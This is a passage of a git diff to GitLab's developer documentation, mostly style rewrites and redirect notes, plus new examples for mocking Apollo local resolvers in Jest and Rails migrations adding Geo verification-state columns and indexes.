in the database. An important example of artifacts are reports (JUnit, SAST, DAST, etc.) which are parsed and rendered in the merge request. Job status transitions are not all automated. A user may run [manual jobs](../../ci/yaml/README.md#whenmanual), cancel a pipeline, retry specific failed jobs or the entire pipeline. Anything that -causes a job to change status will trigger `ProcessPipelineService`, as it's responsible for +causes a job to change status triggers `ProcessPipelineService`, as it's responsible for tracking the status of the entire pipeline. A special type of job is the [bridge job](../../ci/yaml/README.md#trigger) which is executed server-side @@ -90,7 +90,7 @@ from the `CreatePipelineService` every time a downstream pipeline is triggered. When a Pipeline is created all its jobs are created at once for all stages, with an initial state of `created`. This makes it possible to visualize the full content of a pipeline. -A job with the `created` state won't be seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if: +A job with the `created` state isn't seen by the runner yet. To make it possible to assign a job to a runner, the job must transition first into the `pending` state, which can happen if: 1. The job is created in the very first stage of the pipeline. 1. The job required a manual start and it has been triggered. @@ -135,7 +135,7 @@ There are 3 top level queries that this service uses to gather the majority of t This list of jobs is then filtered further by matching tags between job and runner tags. NOTE: **Note:** -If a job contains tags, the runner will not pick the job if it does not match **all** the tags. +If a job contains tags, the runner doesn't pick the job if it does not match **all** the tags. The runner may have more tags than defined for the job, but not vice-versa. Finally if the runner can only pick jobs that are tagged, all untagged jobs are filtered out. diff --git a/doc/development/code_comments.md b/doc/development/code_comments.md index d9ab719d18a..00e077eda8b 100644 --- a/doc/development/code_comments.md +++ b/doc/development/code_comments.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Whenever you add comment to the code that is expected to be addressed at any time in future, please create a technical debt issue for it. Then put a link to it -to the code comment you've created. This will allow other developers to quickly +to the code comment you've created. This allows other developers to quickly check if a comment is still relevant and what needs to be done to address it. Examples: diff --git a/doc/development/cycle_analytics.md b/doc/development/cycle_analytics.md index 3947a012bd5..1619f3dcb10 100644 --- a/doc/development/cycle_analytics.md +++ b/doc/development/cycle_analytics.md @@ -3,3 +3,6 @@ redirect_to: 'value_stream_analytics.md' --- This document was moved to [another location](value_stream_analytics.md) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/database/index.md b/doc/development/database/index.md index 19159c6c0ff..3ab865170ae 100644 --- a/doc/development/database/index.md +++ b/doc/development/database/index.md @@ -59,6 +59,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w - [Client-side connection-pool](client_side_connection_pool.md) - [Updating multiple values](setting_multiple_values.md) - [Constraints naming conventions](constraint_naming_convention.md) +- [Query performance guidelines](../query_performance.md) ## Case studies diff --git a/doc/development/database_review.md b/doc/development/database_review.md index d1ec32af464..5ae0c25c3b5 100644 --- a/doc/development/database_review.md +++ b/doc/development/database_review.md @@ -158,8 +158,8 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - Maintainer: After the merge request is merged, notify Release Managers about it on `#f_upcoming_release` Slack channel. - Check consistency with `db/structure.sql` and that migrations are [reversible](migration_style_guide.md#reversibility) - Check that the relevant version files under `db/schema_migrations` were added or removed. - - Check queries timing (If any): Queries executed in a migration - need to fit comfortably within `15s` - preferably much less than that - on GitLab.com. + - Check queries timing (If any): In a single transaction, cumulative query time executed in a migration + needs to fit comfortably within `15s` - preferably much less than that - on GitLab.com. - For column removals, make sure the column has been [ignored in a previous release](what_requires_downtime.md#dropping-columns) - Check [background migrations](background_migrations.md): - Establish a time estimate for execution on GitLab.com. For historical purposes, @@ -190,7 +190,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - For given queries, review parameters regarding data distribution - [Check query plans](understanding_explain_plans.md) and suggest improvements to queries (changing the query, schema or adding indexes and similar) - - General guideline is for queries to come in below 100ms execution time + - General guideline is for queries to come in below [100ms execution time](query_performance.md#timing-guidelines-for-queries) - Avoid N+1 problems and minimalize the [query count](merge_request_performance_guidelines.md#query-counts). ### Timing guidelines for migrations @@ -206,4 +206,4 @@ Keep in mind that all runtimes should be measured against GitLab.com. |----|----|---| | Regular migrations on `db/migrate` | `3 minutes` | A valid exception are index creation as this can take a long time. | | Post migrations on `db/post_migrate` | `10 minutes` | | -| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below `1 second` execution time with cold caches. | +| Background migrations | --- | Since these are suitable for larger tables, it's not possible to set a precise timing guideline, however, any single query must stay below [`1 second` execution time](query_performance.md#timing-guidelines-for-queries) with cold caches. | diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 6d277f9ae99..53c81901718 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -59,7 +59,7 @@ on non-Go GitLab subsystems. GitLab uses the `GITLAB_TRACING` environment variable to configure distributed tracing. The same configuration is used for all components (e.g., Workhorse, Rails, etc). -When `GITLAB_TRACING` is not set, the application will not be instrumented, meaning that there is +When `GITLAB_TRACING` is not set, the application isn't instrumented, meaning that there is no overhead at all. To enable `GITLAB_TRACING`, a valid _"configuration-string"_ value should be set, with a URL-like @@ -94,8 +94,8 @@ by typing `p` `b` in the browser window. Once the performance bar is enabled, click on the **Trace** link in the performance bar to go to the Jaeger UI. -The Jaeger search UI will return a query for the `Correlation-ID` of the current request. Normally, -this search should return a single trace result. Clicking this result will show the detail of the +The Jaeger search UI returns a query for the `Correlation-ID` of the current request. Normally, +this search should return a single trace result. Clicking this result shows the detail of the trace in a hierarchical time-line.  @@ -154,7 +154,7 @@ This should start the process with the default listening ports. ### 2. Configure the `GITLAB_TRACING` environment variable -Once you have Jaeger running, you'll need to configure the `GITLAB_TRACING` variable with the +Once you have Jaeger running, configure the `GITLAB_TRACING` variable with the appropriate configuration string. **TL;DR:** If you are running everything on the same host, use the following value: @@ -178,7 +178,7 @@ This configuration string uses the Jaeger driver `opentracing://jaeger` with the | `udp_endpoint` | `localhost:6831` | This is the default. Configures Jaeger to send trace information to the UDP listener on port `6831` using compact thrift protocol. Note that we've experienced some issues with the [Jaeger Client for Ruby](https://github.com/salemove/jaeger-client-ruby) when using this protocol. | | `sampler` | `probabalistic` | Configures Jaeger to use a probabilistic random sampler. The rate of samples is configured by the `sampler_param` value. | | `sampler_param` | `0.01` | Use a ratio of `0.01` to configure the `probabalistic` sampler to randomly sample _1%_ of traces. | -| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter will take precedence over the application-supplied value. | +| `service_name` | `api` | Override the service name used by the Jaeger backend. This parameter takes precedence over the application-supplied value. | NOTE: **Note:** The same `GITLAB_TRACING` value should to be configured in the environment @@ -189,7 +189,7 @@ variables for all GitLab processes, including Workhorse, Gitaly, Rails, and Side After the `GITLAB_TRACING` environment variable is exported to all GitLab services, start the application. -When `GITLAB_TRACING` is configured properly, the application will log this on startup: +When `GITLAB_TRACING` is configured properly, the application logs this on startup: ```shell 13:41:53 gitlab-workhorse.1 | 2019/02/12 13:41:53 Tracing enabled @@ -198,7 +198,7 @@ When `GITLAB_TRACING` is configured properly, the application will log this on s ... ``` -If `GITLAB_TRACING` is not configured correctly, this will also be logged: +If `GITLAB_TRACING` is not configured correctly, this issue is logged: ```shell 13:43:45 gitaly.1 | 2019/02/12 13:43:45 skipping tracing configuration step: tracer: unable to load driver mytracer @@ -216,5 +216,5 @@ not set. By default, the Jaeger search UI is available at <http://localhost:16686/search>. TIP: **Tip:** -Don't forget that you will need to generate traces by using the application before +Don't forget that you must generate traces by using the application before they appear in the Jaeger UI. diff --git a/doc/development/doc_styleguide.md b/doc/development/doc_styleguide.md index 4a9f2a626f7..1595a841ade 100644 --- a/doc/development/doc_styleguide.md +++ b/doc/development/doc_styleguide.md @@ -3,3 +3,6 @@ redirect_to: 'documentation/styleguide.md' --- This document was moved to [another location](documentation/styleguide.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/feature-change-workflow.md b/doc/development/documentation/feature-change-workflow.md index 004d8833e63..78e5510ffca 100644 --- a/doc/development/documentation/feature-change-workflow.md +++ b/doc/development/documentation/feature-change-workflow.md @@ -3,3 +3,6 @@ redirect_to: 'workflow.md' --- This document was moved to [another location](workflow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/improvement-workflow.md b/doc/development/documentation/improvement-workflow.md index 004d8833e63..78e5510ffca 100644 --- a/doc/development/documentation/improvement-workflow.md +++ b/doc/development/documentation/improvement-workflow.md @@ -3,3 +3,6 @@ redirect_to: 'workflow.md' --- This document was moved to [another location](workflow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 69a8ff10878..65472ce026e 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -38,8 +38,8 @@ Documentation issues and merge requests are part of their respective repositorie The [CI pipeline for the main GitLab project](../pipelines.md) is configured to automatically run only the jobs that match the type of contribution. If your contribution contains -**only** documentation changes, then only documentation-related jobs will be run, and -the pipeline will complete much faster than a code contribution. +**only** documentation changes, then only documentation-related jobs run, and +the pipeline completes much faster than a code contribution. If you are submitting documentation-only changes to Runner, Omnibus, or Charts, the fast pipeline is not determined automatically. Instead, create branches for @@ -152,7 +152,7 @@ comments: false Each page can have additional, optional metadata (set in the [default.html](https://gitlab.com/gitlab-org/gitlab-docs/-/blob/fc3577921343173d589dfa43d837b4307e4e620f/layouts/default.html#L30-52) -Nanoc layout), which will be displayed at the top of the page if defined: +Nanoc layout), which is displayed at the top of the page if defined: - `reading_time`: If you want to add an indication of the approximate reading time of a page, you can set `reading_time` to `true`. This uses a simple @@ -225,9 +225,9 @@ Things to note: the document might also be referenced in the views of GitLab (`app/`) which will render when visiting `/help`, and sometimes in the testing suite (`spec/`). You must search these paths for references to the doc and update them as well. -- The above `git grep` command will search recursively in the directory you run +- The above `git grep` command searches recursively in the directory you run it in for `workflow/lfs/lfs_administration` and `lfs/lfs_administration` - and will print the file and the line where this file is mentioned. + and prints the file and the line where this file is mentioned. You may ask why the two greps. Since [we use relative paths to link to documentation](styleguide/index.md#links), sometimes it might be useful to search a path deeper. - The `*.md` extension is not used when a document is linked to GitLab's @@ -267,7 +267,7 @@ Before getting started, make sure you read the introductory section - Label the MR `Documentation` (can only be done by people with `developer` access, for example, GitLab team members) - Assign the correct milestone per note below (can only be done by people with `developer` access, for example, GitLab team members) -Documentation will be merged if it is an improvement on existing content, +Documentation is merged if it is an improvement on existing content, represents a good-faith effort to follow the template and style standards, and is believed to be accurate. @@ -285,16 +285,16 @@ Every GitLab instance includes the documentation, which is available at `/help` (`https://gitlab.example.com/help`). For example, <https://gitlab.com/help>. The documentation available online on <https://docs.gitlab.com> is deployed every four hours from the `master` branch of GitLab, Omnibus, and Runner. Therefore, -after a merge request gets merged, it will be available online on the same day. -However, it will be shipped (and available on `/help`) within the milestone assigned +after a merge request gets merged, it is available online on the same day. +However, it's shipped (and available on `/help`) within the milestone assigned to the MR. For example, let's say your merge request has a milestone set to 11.3, which -will be released on 2018-09-22. If it gets merged on 2018-09-15, it will be +a release date of 2018-09-22. If it gets merged on 2018-09-15, it is available online on 2018-09-15, but, as the feature freeze date has passed, if the MR does not have a `~"Pick into 11.3"` label, the milestone has to be changed -to 11.4 and it will be shipped with all GitLab packages only on 2018-10-22, -with GitLab 11.4. Meaning, it will only be available under `/help` from GitLab +to 11.4 and it ships with all GitLab packages only on 2018-10-22, +with GitLab 11.4. Meaning, it's available only with `/help` from GitLab 11.4 onward, but available on <https://docs.gitlab.com/> on the same day it was merged. ### Linking to `/help` @@ -365,7 +365,7 @@ You can combine one or more of the following: ### GitLab `/help` tests Several [RSpec tests](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/features/help_pages_spec.rb) -are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) will work correctly from `/help`. +are run to ensure GitLab documentation renders and works correctly. In particular, that [main docs landing page](../../README.md) works correctly from `/help`. For example, [GitLab.com's `/help`](https://gitlab.com/help). ## Docs site architecture @@ -392,20 +392,20 @@ The live preview is currently enabled for the following projects: If your merge request has docs changes, you can use the manual `review-docs-deploy` job to deploy the docs review app for your merge request. -You will need at least Maintainer permissions to be able to run it. +You need at least Maintainer permissions to be able to run it.  You must push a branch to those repositories, as it doesn't work for forks. -The `review-docs-deploy*` job will: +The `review-docs-deploy*` job: -1. Create a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) +1. Creates a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) project named after the scheme: `docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID`, where `DOCS_GITLAB_REPO_SUFFIX` is the suffix for each product, e.g, `ee` for EE, `omnibus` for Omnibus GitLab, etc, and `CI_MERGE_REQUEST_IID` is the ID of the respective merge request. -1. Trigger a cross project pipeline and build the docs site with your changes. +1. Triggers a cross project pipeline and build the docs site with your changes. In case the review app URL returns 404, this means that either the site is not yet deployed, or something went wrong with the remote pipeline. Give it a few @@ -414,8 +414,8 @@ remote pipeline from the link in the merge request's job output. If the pipeline failed or got stuck, drop a line in the `#docs` chat channel. Make sure that you always delete the branch of the merge request you were -working on. If you don't, the remote docs branch won't be removed either, -and the server where the Review Apps are hosted will eventually be out of +working on. If you don't, the remote docs branch isn't removed either, +and the server where the Review Apps are hosted can eventually run out of disk space. TIP: **Tip:** @@ -449,7 +449,7 @@ If you want to know the in-depth details, here's what's really happening: - The number of the merge request is added so that you can know by the `gitlab-docs` branch name the merge request it originated from. 1. The remote branch is then created if it doesn't exist (meaning you can - re-run the manual job as many times as you want and this step will be skipped). + re-run the manual job as many times as you want and this step is skipped). 1. A new cross-project pipeline is triggered in the docs project. 1. The preview URL is shown both at the job output and in the merge request widget. You also get the link to the remote pipeline. @@ -537,8 +537,12 @@ To have the screenshot focuses few more steps are needed: - **wait for the content**: `expect(screenshot_area).to have_content 'Expiration interval'` - **set the crop area**: `set_crop_data(screenshot_area, 20)` -In particular `set_crop_data` accepts as arguments: a `DOM` element and a padding, the padding will be added around the element enlarging the screenshot area. +In particular, `set_crop_data` accepts as arguments: a `DOM` element and a +padding. The padding is added around the element, enlarging the screenshot area. #### Live example Please use `spec/docs_screenshots/container_registry_docs.rb` as a guide and as an example to create your own scripts. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 41e38266a58..c437cfd17a3 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -10,7 +10,7 @@ description: 'Writing styles, markup, formatting, and other standards for GitLab This document defines the standards for GitLab's documentation content and files. -For broader information about the documentation, see the [Documentation guidelines](index.md). +For broader information about the documentation, see the [Documentation guidelines](../index.md). For guidelines specific to text in the GitLab interface, see the Pajamas [Content](https://design.gitlab.com/content/error-messages/) section. diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 26a1e9ec3aa..c2c704f75c2 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -122,10 +122,10 @@ This is also not just applied to models. Here's a list of other examples: To test an `EE` namespaced module that extends a CE class with EE features, create the spec file as you normally would in the `ee/spec` directory, including the second `ee/` subdirectory. -For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/app/models/ee/user_spec.rb`. +For example, an extension `ee/app/models/ee/user.rb` would have its tests in `ee/spec/models/ee/user_spec.rb`. In the `RSpec.describe` call, use the CE class name where the EE module would be used. -For example, in `ee/app/models/ee/user_spec.rb`, the test would start with: +For example, in `ee/spec/models/ee/user_spec.rb`, the test would start with: ```ruby RSpec.describe User do diff --git a/doc/development/event_tracking/backend.md b/doc/development/event_tracking/backend.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/backend.md +++ b/doc/development/event_tracking/backend.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/frontend.md b/doc/development/event_tracking/frontend.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/frontend.md +++ b/doc/development/event_tracking/frontend.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/event_tracking/index.md b/doc/development/event_tracking/index.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/event_tracking/index.md +++ b/doc/development/event_tracking/index.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/experiment_guide/index.md b/doc/development/experiment_guide/index.md index 3b2f1d21463..feb76c3262f 100644 --- a/doc/development/experiment_guide/index.md +++ b/doc/development/experiment_guide/index.md @@ -6,17 +6,17 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Experiment Guide -Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they will primarily target GitLab.com. +Experiments can be conducted by any GitLab team, most often the teams from the [Growth Sub-department](https://about.gitlab.com/handbook/engineering/development/growth/). Experiments are not tied to releases because they primarily target GitLab.com. -Experiments will be run as an A/B test and will be behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team will decide if the experiment had a positive impact and will be the new default or rolled back. +Experiments are run as an A/B test and are behind a feature flag to turn the test on or off. Based on the data the experiment generates, the team decides if the experiment had a positive impact and should be made the new default or rolled back. ## Experiment tracking issue Each experiment should have an [Experiment tracking](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=growth%20experiment&search=%22Experiment+tracking%22) issue to track the experiment from roll-out through to cleanup/removal. Immediately after an experiment is deployed, the due date of the issue should be set (this depends on the experiment but can be up to a few weeks in the future). After the deadline, the issue needs to be resolved and either: -- It was successful and the experiment will be the new default. -- It was not successful and all code related to the experiment will be removed. +- It was successful and the experiment becomes the new default. +- It was not successful and all code related to the experiment is removed. In either case, an outcome of the experiment should be posted to the issue with the reasoning for the decision. @@ -49,7 +49,6 @@ addressed. }, # Add your experiment here: signup_flow: { - environment: ::Gitlab.dev_env_or_com?, # Target environment, defaults to enabled for development and GitLab.com tracking_category: 'Growth::Activation::Experiment::SignUpFlow' # Used for providing the category when setting up tracking data } }.freeze @@ -80,7 +79,7 @@ addressed. end ``` - The above will check whether the experiment is enabled and push the result to the frontend. + The above checks whether the experiment is enabled and push the result to the frontend. You can check the state of the feature flag in JavaScript: diff --git a/doc/development/fe_guide/event_tracking.md b/doc/development/fe_guide/event_tracking.md index 79ea80a52ea..24e83ffc524 100644 --- a/doc/development/fe_guide/event_tracking.md +++ b/doc/development/fe_guide/event_tracking.md @@ -3,3 +3,6 @@ redirect_to: '../product_analytics/index.md' --- This document was moved to [another location](../product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index cae2435e4ff..762281756fe 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -833,7 +833,7 @@ If your application contains `@client` queries, most probably you will have an A ```javascript import createMockApollo from 'jest/helpers/mock_apollo_helper'; ... -fakeApollo = createMockApollo(requestHandlers, {}); +mockApollo = createMockApollo(requestHandlers, resolvers); ``` Sometimes we want to test a `result` hook of the local query. In order to have it triggered, we need to populate a cache with correct data to be fetched with this query: @@ -849,14 +849,14 @@ query fetchLocalUser { ```javascript import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql'; -function createComponentWithApollo() { +function createMockApolloProvider() { const requestHandlers = [ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], ]; - fakeApollo = createMockApollo(requestHandlers, {}); - fakeApollo.clients.defaultClient.cache.writeQuery({ + mockApollo = createMockApollo(requestHandlers, {}); + mockApollo.clients.defaultClient.cache.writeQuery({ query: fetchLocalUserQuery, data: { fetchLocalUser: { @@ -864,15 +864,107 @@ function createComponentWithApollo() { name: 'Test', }, }, - }) + }); - wrapper = shallowMount(Index, { + return mockApollo; +} + +function createComponent(options = {}) { + const { mockApollo } = options; + + return shallowMount(Index, { localVue, - apolloProvider: fakeApollo, + apolloProvider: mockApollo, }); } ``` +Sometimes it is necessary to control what the local resolver returns and inspect how it is called by the component. This can be done by mocking your local resolver: + +```javascript +import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql'; + +function createMockApolloProvider(options = {}) { + const { fetchLocalUserSpy } = options; + + mockApollo = createMockApollo([], { + Query: { + fetchLocalUser: fetchLocalUserSpy, + }, + }); + + // Necessary for local resolvers to be activated + mockApollo.clients.defaultClient.cache.writeQuery({ + query: fetchLocalUserQuery, + data: {}, + }); + + return mockApollo; +} +``` + +In the test you can then control what the spy is supposed to do and inspect the component after the request have returned: + +```javascript +describe('My Index test with `createMockApollo`', () => { + let wrapper; + let fetchLocalUserSpy; + + afterEach(() => { + wrapper.destroy(); + wrapper = null; + fetchLocalUserSpy = null; + }); + + describe('when loading', () => { + beforeEach(() => { + const mockApollo = createMockApolloProvider(); + wrapper = createComponent({ mockApollo }); + }); + + it('displays the loader', () => { + // Assess that the loader is present + }); + }); + + describe('with data', () => { + beforeEach(async () => { + fetchLocalUserSpy = jest.fn().mockResolvedValue(localUserQueryResponse); + const mockApollo = createMockApolloProvider(fetchLocalUserSpy); + wrapper = createComponent({ mockApollo }); + await waitForPromises(); + }); + + it('should fetch data once', () => { + expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1); + }); + + it('displays data', () => { + // Assess that data is present + }); + }); + + describe('with error', () => { + const error = 'Error!'; + + beforeEach(async () => { + fetchLocalUserSpy = jest.fn().mockRejectedValueOnce(error); + const mockApollo = createMockApolloProvider(fetchLocalUserSpy); + wrapper = createComponent({ mockApollo }); + await waitForPromises(); + }); + + it('should fetch data once', () => { + expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1); + }); + + it('displays the error', () => { + // Assess that the error is displayed + }); + }); +}); +``` + ## Handling errors GitLab's GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). diff --git a/doc/development/fe_guide/style_guide_js.md b/doc/development/fe_guide/style_guide_js.md index f3fa80325ef..73a5bea189d 100644 --- a/doc/development/fe_guide/style_guide_js.md +++ b/doc/development/fe_guide/style_guide_js.md @@ -3,3 +3,6 @@ redirect_to: 'style/javascript.md' --- This document was moved to [another location](style/javascript.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/style_guide_scss.md b/doc/development/fe_guide/style_guide_scss.md index 2b4e6427a18..eaa6d33fb43 100644 --- a/doc/development/fe_guide/style_guide_scss.md +++ b/doc/development/fe_guide/style_guide_scss.md @@ -3,3 +3,6 @@ redirect_to: 'style/scss.md' --- This document was moved to [another location](style/scss.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/testing.md b/doc/development/fe_guide/testing.md index b23e37d1eef..457d15235ae 100644 --- a/doc/development/fe_guide/testing.md +++ b/doc/development/fe_guide/testing.md @@ -3,3 +3,6 @@ redirect_to: '../testing_guide/frontend_testing.md' --- This document was moved to [another location](../testing_guide/frontend_testing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/feature_flags.md b/doc/development/feature_flags.md index cff88388ba0..7456e8df8d9 100644 --- a/doc/development/feature_flags.md +++ b/doc/development/feature_flags.md @@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md' --- This document was moved to [another location](feature_flags/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/feature_flags/development.md b/doc/development/feature_flags/development.md index 2855662e1db..a84536eac61 100644 --- a/doc/development/feature_flags/development.md +++ b/doc/development/feature_flags/development.md @@ -23,6 +23,12 @@ All newly-introduced feature flags should be [disabled by default](process.md#fe NOTE: **Note:** This document is the subject of continued work as part of an epic to [improve internal usage of Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). Raise any suggestions as new issues and attach them to the epic. +## Risk of a broken master (main) branch + +Feature flags **must** be used in the MR that introduces them. Not doing so causes a +[broken master](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) scenario due +to the `rspec:feature-flags` job that only runs on the `master` branch. + ## Types of feature flags Choose a feature flag type that matches the expected usage. diff --git a/doc/development/file_storage.md b/doc/development/file_storage.md index aa91e105513..69b6777d192 100644 --- a/doc/development/file_storage.md +++ b/doc/development/file_storage.md @@ -48,6 +48,7 @@ they are still not 100% standardized. You can see them below: | CI Artifacts (CE) | yes | `shared/artifacts/:disk_hash[0..1]/:disk_hash[2..3]/:disk_hash/:year_:month_:date/:job_id/:job_artifact_id` (`:disk_hash` is SHA256 digest of `project_id`) | `JobArtifactUploader` | Ci::JobArtifact | | LFS Objects (CE) | yes | `shared/lfs-objects/:hex/:hex/:object_hash` | `LfsObjectUploader` | LfsObject | | External merge request diffs | yes | `shared/external-diffs/merge_request_diffs/mr-:parent_id/diff-:id` | `ExternalDiffUploader` | MergeRequestDiff | +| Issuable metric images | yes | `uploads/-/system/issuable_metric_image/file/:id/:filename` | `IssuableMetricImageUploader` | IssuableMetricImage | CI Artifacts and LFS Objects behave differently in CE and EE. In CE they inherit the `GitlabUploader` while in EE they inherit the `ObjectStorage` and store files in and S3 API compatible object store. diff --git a/doc/development/frontend.md b/doc/development/frontend.md index 8bb5cf7af62..040004a6917 100644 --- a/doc/development/frontend.md +++ b/doc/development/frontend.md @@ -3,3 +3,6 @@ redirect_to: 'fe_guide/index.md' --- This document was moved to [another location](fe_guide/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/geo/framework.md b/doc/development/geo/framework.md index e440e324c4a..2e3f61278e0 100644 --- a/doc/development/geo/framework.md +++ b/doc/development/geo/framework.md @@ -393,6 +393,8 @@ can track verification state. def change change_table(:widgets) do |t| + t.integer :verification_state, default: 0, limit: 2, null: false + t.column :verification_started_at, :datetime_with_timezone t.integer :verification_retry_count, limit: 2 t.column :verification_retry_at, :datetime_with_timezone t.column :verified_at, :datetime_with_timezone @@ -431,13 +433,12 @@ can track verification state. end ``` -1. Add a partial index on `verification_failure` and `verification_checksum` to ensure - re-verification can be performed efficiently: +1. Add an index on `verification_state` to ensure verification can be performed efficiently: ```ruby # frozen_string_literal: true - class AddVerificationFailureIndexToWidgets < ActiveRecord::Migration[6.0] + class AddVerificationStateIndexToWidgets < ActiveRecord::Migration[6.0] include Gitlab::Database::MigrationHelpers DOWNTIME = false @@ -445,22 +446,28 @@ can track verification state. disable_ddl_transaction! def up - add_concurrent_index :widgets, :verification_failure, where: "(verification_failure IS NOT NULL)", name: "widgets_verification_failure_partial" - add_concurrent_index :widgets, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "widgets_verification_checksum_partial" + add_concurrent_index :widgets, :verification_state, name: "index_widgets_on_verification_state" end def down - remove_concurrent_index :widgets, :verification_failure - remove_concurrent_index :widgets, :verification_checksum + remove_concurrent_index :widgets, :verification_state end end ``` +1. Add the `Gitlab::Geo::VerificationState` concern to the `widget` model if it is not already included in `Gitlab::Geo::ReplicableModel`: + + ```ruby + class Widget < ApplicationRecord + ... + include ::Gitlab::Geo::VerificationState + ... + end + ``` + ##### Option 2: Create a separate `widget_states` table with verification state fields -1. Create a `widget_states` table and add a partial index on `verification_failure` and - `verification_checksum` to ensure re-verification can be performed efficiently. Order - the columns according to [the guidelines](../ordering_table_columns.md): +1. Create a `widget_states` table and add an index on `verification_state` to ensure verification can be performed efficiently. Order the columns according to [the guidelines](../ordering_table_columns.md): ```ruby # frozen_string_literal: true @@ -477,14 +484,15 @@ can track verification state. with_lock_retries do create_table :widget_states, id: false do |t| t.references :widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade } + t.integer :verification_state, default: 0, limit: 2, null: false + t.column :verification_started_at, :datetime_with_timezone t.datetime_with_timezone :verification_retry_at t.datetime_with_timezone :verified_at t.integer :verification_retry_count, limit: 2 t.binary :verification_checksum, using: 'verification_checksum::bytea' t.text :verification_failure - t.index :verification_failure, where: "(verification_failure IS NOT NULL)", name: 